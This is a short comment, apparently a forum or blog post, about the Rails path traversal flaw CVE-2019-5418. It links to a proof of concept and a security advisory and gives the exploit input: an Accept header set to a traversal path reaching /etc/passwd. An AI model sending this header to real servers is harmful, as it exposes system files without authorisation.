See also: https://github.com/mpgn/CVE-2019-5418

See also: https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q

replace the Accept header with Accept: ../../../../../../../../../../etc/passwd{{

Somebody found a way to put a path traversal vuln in the Accept header. Wow.